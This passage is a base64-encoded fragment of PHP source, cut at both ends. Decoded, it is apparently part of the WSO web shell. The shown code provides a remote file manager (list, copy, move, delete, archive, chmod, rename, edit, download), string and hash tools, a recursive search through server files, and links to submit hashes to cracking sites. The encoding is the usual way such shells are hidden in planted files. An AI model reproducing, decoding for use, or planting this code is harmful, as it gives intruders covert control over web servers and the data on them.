hY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJCSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPkNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+IjsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOw0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7DQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKQ0KICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQ0KCQkJZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIHRleHQgaW4gZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwvZm9ybT4iOw0KDQoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2RpcigkaXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihAc3RycG9zKEBmaWxlX2dldF9jb250ZW50cygkaXRlbSksIEAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoQCRfUE9TVFsncDMnXSkNCgkJd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7DQoJZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3JhY2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWlsdzBybS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFyY2gucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcuaW5mbycgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcuaW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDVkZWNyeXB0ZXIuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJPC9mb3JtPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQl3c29Gb290ZXIoKTsNCgkJcmV0dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU